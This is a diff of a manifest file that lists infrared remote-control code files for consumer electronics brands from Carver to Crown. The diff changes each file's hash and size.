+F:1f331eb2cab36a529459ee0a60741e7c:558:infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir +F:2badc3c50f13e22a249cd7c0e8c7211b:964:infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir +F:10d9172f063b1c738945ea39c39cb44e:374:infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir +F:a561f4a168690e2254f550c533d5b66a:127:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir +F:0bf6ce4aee2c958153fd7f137f798958:121:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir +F:042567a94325f296537a8fbf46c11d6b:1184:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir +F:54a6fabdd5faaece5bdc5e3e6e9c38d8:561:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir +F:509e3f2db95f32368b87d77967b0fb52:123:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir +F:eafd65f805ce3cf96384b2add12ddd08:123:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir +F:f25af5da3de2c3df6581a68edfa37579:134:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir +F:2939424165efefca064ad6e0d6e7b831:121:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir +F:b791fb882ef76650cd1db11e831a1ab5:125:infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir +F:d58058fe8259eef9aae67d0143289a64:214:infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir +F:6b0e8057399e442119ad33b69dfc0a21:3283:infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir +F:0609b9385c9156cd34ffc00731052f6b:208:infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir +F:6d428b780138ffcfd3865be61adab63b:214:infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir +F:c5711b05084bc8581d043070b7d33854:749:infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir +F:2bc7b2ad0c916c9d1386037996464029:2758:infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir +F:0609b9385c9156cd34ffc00731052f6b:208:infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir +F:6d428b780138ffcfd3865be61adab63b:214:infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir D:infrared/_CSV-IRDB_/Cary Audio Design/CD Player D:infrared/_CSV-IRDB_/Cary Audio Design/DVD Player D:infrared/_CSV-IRDB_/Cary Audio Design/Receiver -F:eb2dad2f54fa929ea992a708c3b2fe44:3361:infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir -F:73aef3f9e1484cd7d78dbe104e465a50:3257:infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir -F:ce5087e64abc5160b1853708096087bc:3640:infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir +F:f608bd72682b97e305c4a5ec7f451142:3143:infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir +F:3f9d74536f47235abaed67a0695ec2ff:3045:infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir +F:e242689c0ad16526eede09986b0bc97b:3404:infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir D:infrared/_CSV-IRDB_/Casio/Unknown_CMD-40 -F:f880d853b503193d7b1495a4e5ced060:1552:infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir +F:2cd432422993ca855542cf6a4abd6515:1454:infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir D:infrared/_CSV-IRDB_/Cce/Unknown_RC-27 D:infrared/_CSV-IRDB_/Cce/Unknown_RC-28b D:infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE D:infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE -F:d08e976594195ccd0ffb32478a47f26e:2296:infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir -F:5342f577ec74bc07c5842f4e23c2be64:2479:infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir -F:e717263216dede3cdd0647daea411ef3:2783:infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir -F:e85834da5e6efd28ac0393e7ec3f2d92:3403:infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir +F:dc4481d50808927062b224c2f3d0470c:2150:infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir +F:2d84b5ddc4162ec5efc6939ab305b8aa:2321:infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir +F:9730098c91e175ee164b9089ebf77b87:2607:infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir +F:8043a5b67c1d552cc7ad7bdc0b28c982:3179:infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir D:infrared/_CSV-IRDB_/Celadon/IR to RS232 -F:8ab49af7cd272f943f5c5681a70235a3:1051:infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir +F:00442a66dfce4a3957b184378cd61fd6:983:infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir D:infrared/_CSV-IRDB_/Centrum/Unknown_Gemini D:infrared/_CSV-IRDB_/Centrum/Unknown_rc5 -F:77add97df819081a7bd5b774eb14496c:3551:infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir -F:4a4ae65309b5d67cd8a49d9315feb3d0:3634:infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir +F:63643d8b053048f2e0c0b1747c6149f1:3327:infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir +F:b7b43f94ae691d8cd299514f7859b1d3:3404:infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir D:infrared/_CSV-IRDB_/Century Concept/Unknown_dvd -F:c8e18d82abce5c002bce343f1db7f45c:1661:infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir +F:1489d4b284a9fb978e2cdff950f1c976:1557:infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir D:infrared/_CSV-IRDB_/Channel Master/Satellite -F:2184e2f7d6e0494026ffa71d93d62573:2958:infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir +F:bcbb49de8e7002ac37b03a7b04343c2d:2764:infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir D:infrared/_CSV-IRDB_/Channel Plus/Video Switcher -F:e94c4efe120a93ec62192d6c92abbc8e:529:infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir +F:db938badb10bf7f497bab0f30cff01ca:497:infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir D:infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1 -F:528089b6f0b9fdfc16c08674b420e1f0:2605:infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir +F:396145c4a0908a3a3042aaa0701be22f:2441:infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir D:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift -F:38ddd012e2e0a519eb0a32df83ff1e8c:685:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir -F:30a8522d999575c8bb2deb2ac50ba486:1082:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir +F:6388710fe4cc4e6b6cccfcca3c164b70:641:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir +F:f3b06e12ea75d7a45244c7e0b8756cf1:1014:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir D:infrared/_CSV-IRDB_/Cinemateq/DVD Player D:infrared/_CSV-IRDB_/Cinemateq/Video Scaler -F:7dcb37dc2f8d751b89ad8dd6488e216b:3636:infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir -F:b957f55e35085de69e7801c049633732:3411:infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir +F:88587551481cb4aa3e5008d766025908:3400:infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir +F:4a18884d1e3052a557190f371f0dd109:3193:infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir D:infrared/_CSV-IRDB_/Cisco/DVR -F:e74c096a8f0846a72cf42472fa26110d:1972:infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir +F:a409b5e183bb1b8e7c7a416f785073bc:1844:infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir D:infrared/_CSV-IRDB_/Citation/Surround Processor -F:00d07939288ebe474df835d796c160af:3705:infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir +F:58083a2786f2bf8b9ec6ae60d9db4689:3469:infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir D:infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C -F:0bfaad5a69f3fd496d1f735920c63d62:4394:infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir +F:82c7e490ee10ecd52e854c54efec8d68:4116:infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir D:infrared/_CSV-IRDB_/Classe Audio/Amplifier D:infrared/_CSV-IRDB_/Classe Audio/CD Player D:infrared/_CSV-IRDB_/Classe Audio/CRCD @@ -1870,80 +1870,80 @@ D:infrared/_CSV-IRDB_/Classe Audio/SACD D:infrared/_CSV-IRDB_/Classe Audio/Surround Processor D:infrared/_CSV-IRDB_/Classe Audio/Surround Sound D:infrared/_CSV-IRDB_/Classe Audio/Tuner -F:7d74151ddda558cef0ad72b4d15bf897:4615:infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir -F:b6fc9aea2f92def77f4223cc005f8249:1537:infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir -F:439040ede8b71c8539dfb5f9f6132bf4:983:infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir -F:d8658bab5a12262f598384f95d780379:1946:infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir -F:0c5564d9a090787c318831687431cac1:4127:infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir -F:2a425d46e5ccc98f082d87b1dad89256:4187:infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir -F:04f2d11bdc444b12ad90160ed1e15703:1777:infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir -F:6c6bd3b6064c5eee19a468ba7923931a:4747:infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir -F:82dde1c1660a34afa8d8989bf852c252:6009:infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir -F:1a8b903f8253a3d48cb4dc1b9d28ddb2:4505:infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir -F:e28612c73ab0bce1dc87c179e5dc6e8d:771:infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir -F:7f63d9da43c0cae892a295f3a621d96f:603:infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir -F:8e2a2b882bdd12449ec060bc6276c9dc:5354:infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir -F:91edb9ff3ec6f31d35f873ebd2301e64:603:infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir -F:3de6244eadbc9f398921667a973d4d18:3633:infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir -F:1cb4b81a1dec679c50663549584ab308:5368:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir -F:efcff9fae440e0fcd4d1476728e80760:1757:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir -F:340b164847003953545410d4a2d40dbe:4238:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir -F:5751115c082ead5fd73a72d2414bf7ac:6021:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir -F:f79d59e1524fc9c961501f42f031f1ae:6293:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir -F:8df8ea23a777784bae2ef6f68b2794d7:6807:infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir -F:91edb9ff3ec6f31d35f873ebd2301e64:603:infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir -F:c18720bb9b136714874e0dfebefd3e0b:17413:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir -F:05cf3b54244d71eebbf7fbf2e05a04ec:1745:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir -F:e0d9546c9df6e742aa95a4e380406bea:11981:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir -F:c18720bb9b136714874e0dfebefd3e0b:17413:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir -F:05cf3b54244d71eebbf7fbf2e05a04ec:1745:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir -F:9ed46111d9a40872cc8b578113832e34:5083:infrared/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir -F:91edb9ff3ec6f31d35f873ebd2301e64:603:infrared/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir +F:8336fda1de3ade917a1b9c6c4b93bc6f:4349:infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir +F:301aca28414937159498187cfda2f7dd:1439:infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir +F:bb7b69a12bd8a3aa71d09996df618d3b:921:infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir +F:cf325e6795366ce9623d44bce690fc56:1818:infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir +F:18866d17d30c55f764f7ca4efe988d03:3861:infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir +F:7f9d4f1ac2efced21cf2276079e5fc6c:3921:infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir +F:c9e46d5a9e7af0bbb1b28cdc29c1eca8:1667:infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir +F:d5d3a76ce52572a0180f24517f58d209:4445:infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir +F:992fc3e660bb89fc64cac64833c27260:5623:infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir +F:2f5eb213431907eca57f12e0907a4997:4215:infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir +F:44a021776fbb63b535d7d2e3699f8b37:721:infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir +F:4a8d20cfcd5615e45a100607f76f8a34:565:infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir +F:c205d4f845e8293e4b4f15ccaae71d30:5010:infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir +F:f5a370a8fd9ace0e4807ac20c9da3bb7:565:infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir +F:e45d18775b6826891702f9e462851081:3403:infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir +F:bb1d9b22edae7067ea41059faa564286:5042:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir +F:83882718f59151b85b2cf62768b01447:1647:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir +F:93331c86707911d92c52580feb051ffc:3954:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir +F:1bca9f3b395708b250d0c18f229bb1a2:5647:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir +F:1fdfa855f59b7c6e64a363b0f03fb55d:5895:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir +F:a21c39e15a9dd6d58c7177673900a9cb:6373:infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir +F:f5a370a8fd9ace0e4807ac20c9da3bb7:565:infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir +F:9e947c65ccd5d66961eefbe31930ec77:16367:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir +F:7602c409083c92d2ad2d16ab089c97f9:1635:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir +F:8b63ef59bf35cb768bce9fb57a5a59e8:11223:infrared/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir +F:9e947c65ccd5d66961eefbe31930ec77:16367:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir +F:7602c409083c92d2ad2d16ab089c97f9:1635:infrared/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir +F:610bdbd149f310c585e63441ebdaf15d:4757:infrared/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir +F:f5a370a8fd9ace0e4807ac20c9da3bb7:565:infrared/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir D:infrared/_CSV-IRDB_/Coby/DVD Player D:infrared/_CSV-IRDB_/Coby/TV -F:def21aa7a060f6332a9776557b3bd77c:1408:infrared/_CSV-IRDB_/Coby/DVD Player/0,-1.ir -F:6537206c5e384ac839ebc19cc6e78cf1:3337:infrared/_CSV-IRDB_/Coby/TV/0,127.ir +F:fb1a08a72466695df66d5cd42f29def8:1316:infrared/_CSV-IRDB_/Coby/DVD Player/0,-1.ir +F:36e0d74662ed8d0fd14a91e43747d098:3119:infrared/_CSV-IRDB_/Coby/TV/0,127.ir D:infrared/_CSV-IRDB_/Colorado Vnet/Music Server -F:c7118d3d0dffa6beb994a80c0775b7c3:1466:infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir +F:214b2658b09942f3ba21cdad069bb691:1374:infrared/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir D:infrared/_CSV-IRDB_/Comcast/Cable Box D:infrared/_CSV-IRDB_/Comcast/Digital Cable D:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR -F:a21cbf912326f4f8ad2a77d5e0f85cfa:8269:infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir -F:01d1cb3edb4c473615e350fe6b6915d6:320:infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir -F:cd92418547cbfd616e93159f526f182b:128:infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir -F:f770ddb705415110ea0bd7eba4228023:881:infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir -F:3c13a9d4aa6e7e70c96cea9f431baadb:2198:infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir -F:decc9259d0749797a344fac5fc80942c:7309:infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir -F:cf819fd8e48d5d497619de9a4fc858cf:319:infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir -F:3c13a9d4aa6e7e70c96cea9f431baadb:2198:infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir -F:0159086e8bdbc2f932cfb98b75652345:3936:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir -F:cd92418547cbfd616e93159f526f182b:128:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir +F:c843a216b67eba273f07e084de64ab1b:7733:infrared/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir +F:bcad76c048e412d05c51de9320879d28:300:infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir +F:05b208cc5ae1cb6a646de0143e628b72:120:infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir +F:613d0e67b187c7f140786a129ac83616:825:infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir +F:42377f6a006a05e1138f2c1cb783ea11:2052:infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir +F:aa3d86632385c80f690447c2c6b77832:6845:infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir +F:a64ea00b76711432b9fc4446f9e93e4f:299:infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir +F:42377f6a006a05e1138f2c1cb783ea11:2052:infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir +F:884458922dc19241a56fa0a76ad69408:3676:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir +F:05b208cc5ae1cb6a646de0143e628b72:120:infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir D:infrared/_CSV-IRDB_/Commodore/Unknown_cdtv -F:e647b2751819b8999c096dedb4d0283e:2593:infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir +F:a5f0af5a9103a7bdadcd8133a07905a7:2429:infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir D:infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200 D:infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300 -F:20452ab65ed81a9a52439e745d3617fb:3555:infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir -F:6a0d5d4142d0dbb07cd47ca7e727404c:4620:infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir +F:6fd33ba4796b72c52af4bddfdb395ecb:3331:infrared/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir +F:e1d2afb9496f1a9889f540e5e41316ce:4330:infrared/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir D:infrared/_CSV-IRDB_/Conrad/Unknown_006 D:infrared/_CSV-IRDB_/Conrad/Unknown_Promo8 -F:1b69dbe2a6c3e5d53a81c34eea2f02b3:2717:infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir -F:d4dacda2347d2028b341d224c9a04945:6099:infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir +F:f357605ba3700889698fc6df3478de83:2547:infrared/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir +F:b282c02689501f30f9dc5691dde731aa:5713:infrared/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir D:infrared/_CSV-IRDB_/Contour/Unknown_Contour25 -F:9892285cd118403341b889500472a496:2315:infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir +F:d6c9c99a3b2b81953c307e5de7c2b10c:2169:infrared/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir D:infrared/_CSV-IRDB_/Cool Sat/Satellite -F:759bb9b77c6f032141b47567221e3ac0:4248:infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir +F:ec693e9d4b7cf5663020d024d45bf3db:3970:infrared/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir D:infrared/_CSV-IRDB_/Coolsat/Unknown_Pro -F:d9589d7872c6c3ba3d19067a32b14702:2952:infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir +F:80132cf5e03ccdf5aa37543dea3bbf13:2764:infrared/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir D:infrared/_CSV-IRDB_/Copland/CD Player -F:de240c5b811f3d24f8ac15eb55220f77:2879:infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir -F:def1dd73e27c8c3d4132d822218359ce:778:infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir +F:821f6bdd4efab8077a27bc869a7a16ad:2691:infrared/_CSV-IRDB_/Copland/CD Player/128,114.ir +F:c0e262bfe00d5a1522e8125b60987a6b:728:infrared/_CSV-IRDB_/Copland/CD Player/129,49.ir D:infrared/_CSV-IRDB_/Corvo/Relaybox -F:a45c16bb111d4b36ca71541006b8d70a:791:infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir +F:0e01554e44c533bd075bd78ac9633ad4:741:infrared/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir D:infrared/_CSV-IRDB_/Cox/Digital Cable -F:ee9c0b50bb010a54be9a2cdb91e630b0:2767:infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir -F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir +F:b605a0c30933c309b304642cded83fa4:2585:infrared/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir +F:8bebc0300dc29584da02bdc960b38503:300:infrared/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir D:infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218 -F:fd3fbfc9208a55ef021a703dd60c62e2:2888:infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir +F:99878f5a77a6d99bb251a887b7edc2d7:2706:infrared/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir D:infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100 D:infrared/_CSV-IRDB_/Creative/Unknown_INFRA D:infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3 @@ -1952,33 +1952,33 @@ D:infrared/_CSV-IRDB_/Creative/Unknown_RM-1800 D:infrared/_CSV-IRDB_/Creative/Unknown_RM-850 D:infrared/_CSV-IRDB_/Creative/Unknown_RM900 D:infrared/_CSV-IRDB_/Creative/Unknown_rm1000w -F:0651b87970cb1be6353e1b36a24d63d6:1668:infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir -F:bfd80b73d846115d0054947a4e41adfd:2308:infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir -F:1c856f318008b65b9e260b950022818a:821:infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir -F:f91cbeb878da3949567a61e14ad42df7:3149:infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir -F:5e6bac66d1db0977de58b33bb59703fe:4235:infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir -F:aef13190b68bc4dd307e0572ca6b4865:2369:infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir -F:703cd743f1df7397bcca5c0870eb51e1:5609:infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir -F:46c5916fed320a12466f604cc950f919:3244:infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir +F:c9377817cd54f316ba2985a263cf9d34:1564:infrared/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir +F:9af82e6a3c5a3d36eaa42b147fc3c845:2162:infrared/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir +F:65c7ec8fa952ad9997c5a62f5e90de6a:771:infrared/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir +F:af1d21abb31a7e8d9dd3fefb4b11ca97:2949:infrared/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir +F:fb7f7fbc7342650814ed0317f4a57151:3969:infrared/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir +F:584f0729310894205f39d1c386cd1205:2223:infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir +F:ec801d997f15888f4e265ec20bdcf8de:5247:infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir +F:c8b4eb640cdbd0acd52d05dfadeb8aed:3038:infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir D:infrared/_CSV-IRDB_/Crestron/IR Receiver D:infrared/_CSV-IRDB_/Crestron/Lighting Controller D:infrared/_CSV-IRDB_/Crestron/Music Server -F:f25bdfce2e614c7601d4eb3bad4b079f:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir -F:aa4f777da67a04a0859466dbb7c7b642:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir -F:aa634618aa34924359acf13252788739:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir -F:c67c638e90d6cd8f1077f0c2cb7e18f6:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir -F:a69c25bdbc98f8bb304a0d604922df50:5927:infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir -F:e9e50a6a71518649f0c2ae3737cb0f8e:778:infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir -F:d0c13314886d47b26f2d581ec38907be:3661:infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir +F:a05c037c4139a910d8e46516675f7239:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir +F:57ca0afb4f9ce0a3837f9c5d22033639:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir +F:036e113d327749c51989d290df4e88d0:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir +F:6d5332d5283215a7f38bb186cb848b59:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir +F:5351cf426b9c522a39695d961a58fc05:5541:infrared/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir +F:08b0df39f59412bac281a1cfc338fb52:728:infrared/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir +F:334d74e49865eb163c5462525ef2d18e:3425:infrared/_CSV-IRDB_/Crestron/Music Server/14,-1.ir D:infrared/_CSV-IRDB_/Crown/Unknown_cd-80 D:infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config -F:52dfa6a07ff6b3637ba29df061eb9601:1547:infrared/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir -F:c506169a903c45cddd85667c5f23b7a3:3877:infrared/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir 